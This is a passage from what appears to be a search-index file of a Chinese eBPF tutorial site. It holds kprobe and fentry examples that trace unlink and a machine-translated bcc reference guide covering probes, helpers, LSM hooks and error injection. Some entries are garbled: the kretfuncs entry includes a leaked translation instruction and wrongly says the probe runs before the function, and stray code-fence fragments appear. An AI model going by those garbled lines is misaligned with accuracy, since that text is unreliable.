Tracepoints CONFIG_TRACEPOINTS 启用在内核中插入Tracepoints并与问题函数连接 CONFIG_HAVE_SYSCALL_TRACEPOINTS 启用系统调用进入/退出跟踪 Raw Tracepoints Same as Tracepoints LSM CONFIG_BPF_LSM 使用BPF程序对安全钩子进行仪器化，实现动态MAC和审计策略 LIRC CONFIG_BPF_LIRC_MODE2 允许将BPF程序附加到lirc设备","breadcrumbs":"Kernel Configuration for BPF Features » 与 BPF 相关的内核配置","id":"236","title":"与 BPF 相关的内核配置"},"237":{"body":"用于搜索 (Ctrl-F) 和参考。如需教程，请从 tutorial.md 开始。 该指南尚未完成。如果感觉有遗漏的内容，请查看 bcc 和内核源码。如果确认确实有遗漏，请发送拉取请求进行修复，并协助所有人。","breadcrumbs":"bcc Reference Guide » bcc 参考指南","id":"237","title":"bcc 参考指南"},"238":{"body":"bcc 参考指南 目录 BPF C Events & Arguments 1. kprobes 2. kretprobes 3. Tracepoints 4. uprobes 6. USDT探测点 7. 原始跟踪点 8. 系统调用跟踪点 9. kfuncs 10. kretfuncs 11. LSM Probes 12. BPF迭代器 数据 1. bpf_probe_read_kernel() 2. bpf_probe_read_kernel_str()\".```shell 3. bpf_ktime_get_ns() 4. bpf_get_current_pid_tgid() 5. bpf_get_current_uid_gid() 6. bpf_get_current_comm() 7. bpf_get_current_task() 8. bpf_log2l() 9. bpf_get_prandom_u32() 10. bpf_probe_read_user() 11. bpf_probe_read_user_str() 12. bpf_get_ns_current_pid_tgid() 调试 1. bpf_override_return() 输出 1. bpf_trace_printk() 2. BPF_PERF_OUTPUT 3. perf_submit() 4. perf_submit_skb() 5. BPF_RINGBUF_OUTPUT 6. ringbuf_output（） 7. ringbuf_reserve() 8. ringbuf_submit（） 9. ringbuf_discard() Maps 1. BPF_TABLE 固定映射 2. BPF_HASH 3. BPF_ARRAY 4. BPF_HISTOGRAM 5. BPF_STACK_TRACE 6. BPF_PERF_ARRAY 7. BPF_PERCPU_HASH 8. BPF_PERCPU_ARRAY 9. BPF_LPM_TRIE 10. BPF_PROG_ARRAY 11. BPF_DEVMAP 12. BPF_CPUMAP 13. BPF_XSKMAP 14. BPF_ARRAY_OF_MAPS 15. BPF_HASH_OF_MAPS 16. BPF_STACK 17. BPF_QUEUE 18. BPF_SOCKHASH 19. map.lookup() 20. map.lookup_or_try_init() 21. map.delete() 22. map.update() 23. map.insert() 24. map.increment() 25. map.get_stackid() 26. map.perf_read() 27. map.call() 28. map.redirect_map() 29. map.push() 30. map.pop() 31. map.peek() 32. map.sock_hash_update() 33. map.msg_redirect_hash() 34. map.sk_redirect_hash() 许可证 Rewriter bcc Python 初始化 1. BPF 事件 1. attach_kprobe() 2. attach_kretprobe() 3. attach_tracepoint() 4. attach_uprobe() 5. attach_uretprobe() 6. USDT.enable_probe() 7. attach_raw_tracepoint() 8. attach_raw_socket() 9. attach_xdp() 1. XDP_FLAGS_UPDATE_IF_NOEXIST 2. XDP_FLAGS_SKB_MODE 3. XDP_FLAGS_DRV_MODE 4. XDP_FLAGS_HW_MODE 10. attach_func() 12. detach_kprobe() 13. detach_kretprobe() 调试输出 1. trace_print() 2. trace_fields() 输出 API 1. perf_buffer_poll() 2. ring_buffer_poll() 3. ring_buffer_consume() Map APIs 1. get_table() 2. open_perf_buffer() 4. values() 5. clear() 6. items_lookup_and_delete_batch() 7. items_lookup_batch() 8. items_delete_batch() 9. items_update_batch() 11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) 12. open_ring_buffer() 13. push() 14. pop() 15. peek() 辅助方法 1. ksym() 2. ksymname() 3. sym() 4. num_open_kprobes() 5. get_syscall_fnname() BPF 错误 1. Invalid mem access 2. 无法从专有程序调用 GPL-only 函数 环境变量 1. 内核源代码目录 2. 内核版本覆盖","breadcrumbs":"bcc Reference Guide » 目录","id":"238","title":"目录"},"239":{"body":"本节介绍了 bcc 程序的 C 部分。","breadcrumbs":"bcc Reference Guide » BPF C","id":"239","title":"BPF C"},"24":{"body":"完整代码如下： #include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} 这段代码是一个简单的 eBPF 程序，用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件，这个 eBPF 程序通过使用 kprobe（内核探针）在do_unlinkat函数的入口和退出处放置钩子，实现对该系统调用的跟踪。 首先，我们导入必要的头文件，如 vmlinux.h，bpf_helpers.h，bpf_tracing.h 和 bpf_core_read.h。接着，我们定义许可证，以允许程序在内核中运行。 #include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 接下来，我们定义一个名为BPF_KPROBE(do_unlinkat)的 kprobe，当进入do_unlinkat函数时，它会被触发。该函数接受两个参数：dfd（文件描述符）和name（文件名结构体指针）。在这个 kprobe 中，我们获取当前进程的 PID（进程标识符），然后读取文件名。最后，我们使用bpf_printk函数在内核日志中打印 PID 和文件名。 SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} 接下来，我们定义一个名为BPF_KRETPROBE(do_unlinkat_exit)的 kretprobe，当从do_unlinkat函数退出时，它会被触发。这个 kretprobe 的目的是捕获函数的返回值（ret）。我们再次获取当前进程的 PID，并使用bpf_printk函数在内核日志中打印 PID 和返回值。 SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。 要编译这个程序，请使用 ecc 工具： $ ecc kprobe-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run package.json 在另外一个窗口中： touch test1\nrm test1\ntouch test2\nrm test2 在 /sys/kernel/debug/tracing/trace_pipe 文件中，应该能看到类似下面的 kprobe 演示输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobe 示例","id":"24","title":"kprobe 示例"},"240":{"body":"","breadcrumbs":"bcc Reference Guide » Events & Arguments","id":"240","title":"Events & Arguments"},"241":{"body":"语法：kprobe__ kernel_function_name kprobe__ 是一个特殊的前缀，用于创建一个 kprobe（对内核函数调用的动态跟踪），后面跟着的是内核函数的名称。你也可以通过声明一个普通的 C 函数，然后使用 Python 的 BPF.attach_kprobe()（稍后会介绍）将其与一个内核函数关联起来来使用 kprobe。 参数在函数声明中指定：kprobe__ kernel_function_name (struct pt_regs *ctx [, argument1 ...]) 例如： int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { [...]\n} 这会使用 kprobe 对 tcp_v4_connect() 内核函数进行插装，并使用以下参数： struct pt_regs *ctx: 寄存器和 BPF 上下文。 struct sock *sk: tcp_v4_connect() 的第一个参数。 第一个参数始终是 struct pt_regs *，其余的是函数的参数（如果你不打算使用它们，则不需要指定）。 示例代码： code （ 输出结果 ),\".\" code （ output )","breadcrumbs":"bcc Reference Guide » 1. kprobes","id":"241","title":"1. kprobes"},"242":{"body":"语法: kretprobe__ kernel_function_name kretprobe__是一个特殊的前缀，它创建了一个kretprobe（对提供的内核函数名进行动态追踪，跟踪内核函数的返回）。您也可以通过声明一个普通的C函数，然后使用Python的BPF.attach_kretprobe()（稍后介绍）将其与内核函数关联起来，来使用kretprobes。 返回值可用作PT_REGS_RC(ctx)，给定函数声明为：kretprobe__ kernel_function_name (struct pt_regs *ctx) 例如: int kretprobe__tcp_v4_connect(struct pt_regs *ctx)\n{ int ret = PT_REGS_RC(ctx); [...]\n} 这个例子使用kretprobe来对tcp_v4_connect()内核函数的返回进行检测，并将返回值存储在ret中。 现有的用法示例: code （ output )","breadcrumbs":"bcc Reference Guide » 2. kretprobes","id":"242","title":"2. kretprobes"},"243":{"body":"语法: TRACEPOINT_PROBE( category , event ) 这是一个宏，用于对由 category : event 定义的tracepoint进行追踪。 tracepoint名称为:。 probe函数名为tracepoint____。 参数在一个args结构体中可用，这些参数是tracepoint的参数。列出这些参数的一种方法是在/sys/kernel/debug/tracing/events/ category / event /format下查看相关的格式文件。\"args 结构体可用于替代 ctx，作为需要上下文作为参数的每个函数中的参数。这包括特别是 perf_submit() 。 例如： TRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n} 这会给 random:urandom_read 追踪点注入代码，并打印出追踪点参数 got_bits。 在使用 Python API 时，此探针会自动附加到正确的追踪点目标上。 对于 C++，可以通过明确指定追踪点目标和函数名来附加此追踪点探针： BPF::attach_tracepoint(\"random:urandom_read\", \"tracepoint__random__urandom_read\") 注意，上面定义的探针函数的名称是 tracepoint__random__urandom_read。 实际示例： code ( output )， search /examples ， search /tools","breadcrumbs":"bcc Reference Guide » 3. Tracepoints","id":"243","title":"3. Tracepoints"},"244":{"body":"这些是通过在 C 中声明一个普通函数，然后在 Python 中通过 BPF.attach_uprobe() 将其关联为 uprobes 探针来进行注入的（稍后会介绍）。 可以使用 PT_REGS_PARM 宏来检查参数。 例如： int count(struct pt_regs *ctx) { char buf[64]; bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); bpf_trace_printk(\"%s %d\", buf, PT_REGS_PARM2(ctx)); return(0);\n} 这将读取第一个参数作为字符串，然后用第二个参数作为整数打印出来。 实际示例： code 。### 5。uretprobes 这些是通过在C中声明一个普通函数，然后在Python中通过BPF.attach_uretprobe()将其关联为uretprobe探测点（稍后详述）来进行插装的。 返回值可以通过PT_REGS_RC(ctx)访问，前提是有一个如下声明的函数： function_name (struct pt_regs *ctx) 例如： BPF_HISTOGRAM(dist);\nint count(struct pt_regs *ctx) { dist.increment(PT_REGS_RC(ctx)); return 0;\n} 这会递增由返回值索引的dist直方图中的存储桶。 现场演示示例： code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 4. uprobes","id":"244","title":"4. uprobes"},"245":{"body":"这些是用户静态定义追踪（USDT）探测点，可以放置在某些应用程序或库中，以提供用户级别等效的跟踪点。用于USDT支持的主要BPF方法是enable_probe()。通过在C中声明一个普通函数，然后在Python中通过USDT.enable_probe()将其关联为USDT探测点来进行插装。 可以通过以下方式读取参数：bpf_usdt_readarg( index , ctx, &addr) 例如： int do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n}; 这会读取第六个USDT参数，然后将其作为字符串存储到path中。当使用C API中的BPF::init的第三个参数进行USDT的初始化时，如果任何USDT无法进行init，则整个BPF::init都会失败。如果您对一些USDT无法进行init感到满意，则在调用BPF::init之前使用BPF::init_usdt。","breadcrumbs":"bcc Reference Guide » 6. USDT探测点","id":"245","title":"6. USDT探测点"},"246":{"body":"语法：RAW_TRACEPOINT_PROBE( event ) 这是一个宏，用于仪表化由 event 定义的原始跟踪点。 该参数是指向结构体bpf_raw_tracepoint_args的指针，该结构体定义在 bpf.h 中。结构体字段args包含了原始跟踪点的所有参数，可以在 include/trace/events 目录中找到。 例如： RAW_TRACEPOINT_PROBE(sched_switch)\n{ // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) struct task_struct *prev = (struct task_struct *)ctx->args[1]; struct task_struct *next= (struct task_struct *)ctx->args[2]; s32 prev_tgid, next_tgid; bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); bpf_trace_printk(\"%d -> %d\\\\n\", prev_tgid, next_tgid);\n} 这将仪表化sched:sched_switch跟踪点，并打印prev和next tgid。","breadcrumbs":"bcc Reference Guide » 7. 原始跟踪点","id":"246","title":"7. 原始跟踪点"},"247":{"body":"语法：syscall__SYSCALLNAME。syscall__是一个特殊的前缀，用于为提供的系统调用名称创建一个kprobe。您可以通过声明一个普通的C函数，然后使用Python的BPF.get_syscall_fnname(SYSCALLNAME)和BPF.attach_kprobe()来使用它。 参数在函数声明中指定: syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...]). 例如： int syscall__execve(struct pt_regs *ctx, const char __user *filename, const char __user *const __user *__argv, const char __user *const __user *__envp)\n{ [...]\n} 这将对execve系统调用进行探查。 第一个参数始终是struct pt_regs *，其余的参数是函数的参数（如果您不打算使用它们，则无需指定）。 相应的Python代码： b = BPF(text=bpf_text)\nexecve_fnname = b.get_syscall_fnname(\"execve\")\nb.attach_kprobe(event=execve_fnname, fn_name=\"syscall__execve\") 示例： code ( output )","breadcrumbs":"bcc Reference Guide » 8. 系统调用跟踪点","id":"247","title":"8. 系统调用跟踪点"},"248":{"body":"语法：KFUNC_PROBE( function , typeof(arg1) arg1, typeof(arg2) arge ...) 这是一个通过跳板来在内核函数执行 之前 对其进行探查的宏。它由 function 名称和 argX 定义的函数参数组成。 例如： KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)\n{ ...\n} 这将对do_sys_open内核函数进行探查，并将其参数作为标准参数值访问。 示例： search /tools","breadcrumbs":"bcc Reference Guide » 9. kfuncs","id":"248","title":"9. kfuncs"},"249":{"body":"语法：KRETFUNC_PROBE( event , typeof(arg1) arg1, typeof(arg2) arge ..., int ret) 这是一个通过跳板来在内核函数执行 之前 探查的宏。 格式：仅返回翻译后的内容，不包括原始文本。 在 函数执行之后。它由 函数 名称和定义为 argX 的函数参数定义。 探针的最后一个参数是检测函数的返回值。 例如： KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)\n{ ... 这会对do_sys_open内核函数进行检测，并将其参数作为标准参数值一起与其返回值一起提取。 原地示例： 搜索 /tools","breadcrumbs":"bcc Reference Guide » 10. kretfuncs","id":"249","title":"10. kretfuncs"},"25":{"body":"通过本文的示例，我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » 总结","id":"25","title":"总结"},"250":{"body":"语法：LSM_PROBE( hook , typeof(arg1) arg1, typeof(arg2) arg2 ...) 这是一种将LSM挂钩作为BPF程序进行检测的宏。它可以用于审计安全事件和实施BPF中的MAC安全策略。 它通过指定挂钩名及其参数来定义。 可以在 include/linux/security.h 中找到挂钩名称，方法是取security_hookname之类的函数名，然后只保留hookname部分。 例如，security_bpf仅变成了bpf。 与其他BPF程序类型不同，LSM探针中指定的返回值是很重要的。返回值为0表示挂钩成功，而 任何非零的返回值都会导致挂钩失败和拒绝安全操作。 以下示例对一个拒绝所有未来BPF操作的挂钩进行了检测： LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)\n{ return -EPERM;\n} 这会对security_bpf挂钩进行检测，并导致其返回-EPERM。 将return -EPERM更改为return 0会导致BPF程序允许该操作。 LSM探针需要至少一个5.7+内核，并设置了以下配置选项： CONFIG_BPF_LSM=y CONFIG_LSM 逗号分隔的字符串必须包含\"bpf\"（例如， CONFIG_LSM=\"lockdown,yama,bpf\") 原地示例：\" 搜索/tests","breadcrumbs":"bcc Reference Guide » 11. LSM Probes","id":"250","title":"11. LSM Probes"},"251":{"body":"语法: BPF_ITER(target) 这是一个宏，用于定义一个bpf迭代器程序的程序签名。参数 target 指定要迭代的内容。 目前，内核没有接口来发现支持哪些目标。一个好的查找支持内容的地方是在 tools/testing/selftests/bpf/prog_test/bpf_iter.c ，一些示例bpf迭代器程序位于 tools/testing/selftests/bpf/progs ，其中文件名以 bpf_iter 为前缀。 以下示例为 task 目标定义了一个程序，该程序遍历内核中的所有任务。 BPF_ITER(task)\n{ struct seq_file *seq = ctx->meta->seq; struct task_struct *task = ctx->task; if (task == (void *)0) return 0; ... task->pid, task->tgid, task->comm, ... return 0;\n} 在5.8内核中引入了BPF迭代器，可以用于任务（task）、任务文件（task_file）、bpf map、netlink_sock和ipv6_route。在5.9中，对tcp/udp socket和bpf map元素（hashmap、arraymap和sk_local_storage_map）遍历添加了支持。","breadcrumbs":"bcc Reference Guide » 12. BPF迭代器","id":"251","title":"12. BPF迭代器"},"252":{"body":"","breadcrumbs":"bcc Reference Guide » 数据","id":"252","title":"数据"},"253":{"body":"语法: int bpf_probe_read_kernel(void *dst, int size, const void*src) 返回值: 成功时返回0 该函数将从内核地址空间复制size字节到BPF堆栈，以便BPF之后可以对其进行操作。为了安全起见，所有内核内存读取都必须通过bpf_probe_read_kernel()进行。在某些情况下，比如解引用内核变量时，这会自动发生，因为bcc会重新编写BPF程序以包含所需的bpf_probe_read_kernel()。 现场示例： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_probe_read_kernel()","id":"253","title":"1. bpf_probe_read_kernel()"},"254":{"body":"语法：int bpf_probe_read_kernel_str(void *dst, int size, const void*src) 返回值： > 0 成功时字符串长度（包括结尾的NULL字符） < 0 出错 该函数将一个以NULL结尾的字符串从内核地址空间复制到BPF堆栈中，以便BPF以后可以对其进行操作。如果字符串的长度小于size，则目标不会用更多的NULL字节进行填充。如果字符串的长度大于size，则只会复制size - 1个字节，并将最后一个字节设置为NULL。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 2. bpf_probe_read_kernel_str()\".```shell","id":"254","title":"2. bpf_probe_read_kernel_str()\".```shell"},"255":{"body":"语法：u64 bpf_ktime_get_ns(void) 返回值：u64 纳秒数。从系统启动时间开始计数，但在挂起期间停止计数。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 3. bpf_ktime_get_ns()","id":"255","title":"3. bpf_ktime_get_ns()"},"256":{"body":"语法：u64 bpf_get_current_pid_tgid(void) 返回值：current->tgid << 32 | current->pid 返回进程ID位于低32位（内核视图的PID，在用户空间通常表示为线程ID），线程组ID位于高32位（在用户空间通常被认为是PID）。通过直接设置为u32类型，我们丢弃了高32位。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. bpf_get_current_pid_tgid()","id":"256","title":"4. bpf_get_current_pid_tgid()"},"257":{"body":"语法：u64 bpf_get_current_uid_gid(void) 返回值：current_gid << 32 | current_uid 返回用户ID和组ID。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. bpf_get_current_uid_gid()","id":"257","title":"5. bpf_get_current_uid_gid()"},"258":{"body":"语法: bpf_get_current_comm(char *buf, int size_of_buf) 返回值: 成功时返回0 将当前进程的名称填充到第一个参数地址中。它应该是一个指向字符数组的指针，大小至少为TASK_COMM_LEN，该变量在linux/sched.h中定义。例如: #include  int do_trace(struct pt_regs *ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm));\n[...] 现有示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 6. bpf_get_current_comm()","id":"258","title":"6. bpf_get_current_comm()"},"259":{"body":"语法: bpf_get_current_task() 返回值: 返回指向当前任务的struct task_struct指针。 返回指向当前任务的task_struct对象的指针。该辅助函数可用于计算进程的CPU时间，标识内核线程，获取当前CPU的运行队列或检索许多其他信息。 在Linux 4.13中，由于字段随机化的问题，您可能需要在包含之前定义两个#define指令: #define randomized_struct_fields_start struct {\n#define randomized_struct_fields_end };\n#include  int do_trace(void *ctx) { struct task_struct *t = (struct task_struct *)bpf_get_current_task();\n[...] 现有示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 7. bpf_get_current_task()","id":"259","title":"7. bpf_get_current_task()"},"26":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第三篇，在 eBPF 中使用 fentry 捕获 unlink 系统调用。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用","id":"26","title":"eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用"},"260":{"body":"语法: unsigned int bpf_log2l(unsigned long v) 返回提供的值的log-2。这通常用于创建直方图的索引，以构建2的幂次直方图。在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 8. bpf_log2l()","id":"260","title":"8. bpf_log2l()"},"261":{"body":"语法：u32 bpf_get_prandom_u32() 返回一个伪随机的 u32。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 9. bpf_get_prandom_u32()","id":"261","title":"9. bpf_get_prandom_u32()"},"262":{"body":"语法：int bpf_probe_read_user(void *dst, int size, const void*src) 返回值：成功时返回0 该函数尝试安全地从用户地址空间读取size个字节到BPF栈中，以便BPF之后可以操作它。为确保安全，所有用户地址空间内存读取必须通过bpf_probe_read_user()。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 10. bpf_probe_read_user()","id":"262","title":"10. bpf_probe_read_user()"},"263":{"body":"语法：int bpf_probe_read_user_str(void *dst, int size, const void*src) 返回值： > 0 成功时返回字符串长度（包括结尾的NULL） < 0 错误 该函数将一个以NULL结尾的字符串从用户地址空间复制到BPF栈中，以便BPF之后可以操作它。如果字符串长度小于size，则目标不会用额外的NULL字节填充。如果字符串长度大于size，则只会复制size - 1字节，并将最后一字节设置为NULL。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 11. bpf_probe_read_user_str()","id":"263","title":"11. bpf_probe_read_user_str()"},"264":{"body":"语法：u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info*nsdata, u32 size)。从当前 命名空间 中看到的 pid 和 tgid 的值将在 nsdata 中返回。 成功返回0，失败时返回以下之一： 如果提供的dev和inum与当前任务的nsfs的dev_t和inode号不匹配，或者dev转换为dev_t丢失了高位，则返回**-EINVAL**。 如果当前任务的pidns不存在，则返回**-ENOENT**。 原地示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 12. bpf_get_ns_current_pid_tgid()","id":"264","title":"12. bpf_get_ns_current_pid_tgid()"},"265":{"body":"","breadcrumbs":"bcc Reference Guide » 调试","id":"265","title":"调试"},"266":{"body":"语法：int bpf_override_return(struct pt_regs *, unsigned long rc) 返回值：成功时返回0 当用于附加到函数入口的程序时，会导致该函数的执行被跳过，立即返回rc。这用于目标错误注入。 仅当允许错误注入时，bpf_override_return才有效。白名单列表中需要在内核源代码中给一个函数打上 ALLOW_ERROR_INJECTION() 的标签；参考 io_ctl_init 的示例。如果该函数未被加入白名单，bpf程序将无法附加，出现 ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument 错误。 int kprobe__io_ctl_init(void *ctx) { bpf_override_return(ctx, -ENOMEM); return 0;\n}","breadcrumbs":"bcc Reference Guide » 1. bpf_override_return()","id":"266","title":"1. bpf_override_return()"},"267":{"body":"","breadcrumbs":"bcc Reference Guide » 输出","id":"267","title":"输出"},"268":{"body":"语法：int bpf_trace_printk(const char *fmt, ...) 返回值：成功时返回0 对于通常的trace_pipe (/sys/kernel/debug/tracing/trace_pipe)提供了一个简单的内核printf()功能。这对于一些快速示例是可以接受的，但有一些限制：最多3个参数，只有一个%s，而且trace_pipe是全局共享的，所以并发程序会有冲突输出。更好的接口是通过BPF_PERF_OUTPUT()。注意，与原始内核版本相比，调用这个辅助函数变得更简单，它的第二个参数已经是 fmt_size。 原地示例：\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. bpf_trace_printk()","id":"268","title":"1. bpf_trace_printk()"},"269":{"body":"语法：BPF_PERF_OUTPUT(name) 创建一个BPF表格，通过性能环形缓冲区将自定义事件数据推送到用户空间。这是将每个事件数据推送到用户空间的首选方法。 例如： struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n} 输出表格名为events，数据通过events.perf_submit()推送到该表格。 示例中包含以下内容： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. BPF_PERF_OUTPUT","id":"269","title":"2. BPF_PERF_OUTPUT"},"27":{"body":"fentry（function entry）和 fexit（function exit）是 eBPF（扩展的伯克利包过滤器）中的两种探针类型，用于在 Linux 内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 与 kprobes 相比，fentry 和 fexit 程序有更高的性能和可用性。在这个例子中，我们可以直接访问函数的指针参数，就像在普通的 C 代码中一样，而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于，fexit 程序可以访问函数的输入参数和返回值，而 kretprobe 只能访问返回值。从 5.5 内核开始，fentry 和 fexit 对 eBPF 程序可用。 #include \"vmlinux.h\"\n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"fentry/do_unlinkat\")\nint BPF_PROG(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fentry: pid = %d, filename = %s\\n\", pid, name->name); return 0;\n} SEC(\"fexit/do_unlinkat\")\nint BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fexit: pid = %d, filename = %s, ret = %ld\\n\", pid, name->name, ret); return 0;\n} 这段程序是用 C 语言编写的 eBPF（扩展的伯克利包过滤器）程序，它使用 BPF 的 fentry 和 fexit 探针来跟踪 Linux 内核函数 do_unlinkat。在这个教程中，我们将以这段程序作为示例，让您学会如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 程序包含以下部分： 包含头文件：包括 vmlinux.h（用于访问内核数据结构）、bpf/bpf_helpers.h（包含eBPF帮助函数）、bpf/bpf_tracing.h（用于eBPF跟踪相关功能）。 定义许可证：这里定义了一个名为 LICENSE 的字符数组，包含许可证信息“Dual BSD/GPL”。 定义 fentry 探针：我们定义了一个名为 BPF_PROG(do_unlinkat) 的 fentry 探针，该探针在 do_unlinkat 函数的入口处被触发。这个探针获取当前进程的 PID（进程ID）并将其与文件名一起打印到内核日志。 定义 fexit 探针：我们还定义了一个名为 BPF_PROG(do_unlinkat_exit) 的 fexit 探针，该探针在 do_unlinkat 函数的退出处被触发。与 fentry 探针类似，这个探针也会获取当前进程的 PID 并将其与文件名和返回值一起打印到内核日志。 通过这个示例，您可以学习如何在 eBPF 中使用 fentry 和 fexit 探针来监控和捕获内核函数调用，例如在本教程中的 unlink 系统调用。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc fentry-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 在另外一个窗口中： touch test_file\nrm test_file\ntouch test_file2\nrm test_file2 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file rm-9290 [004] d..2 4637.798843: 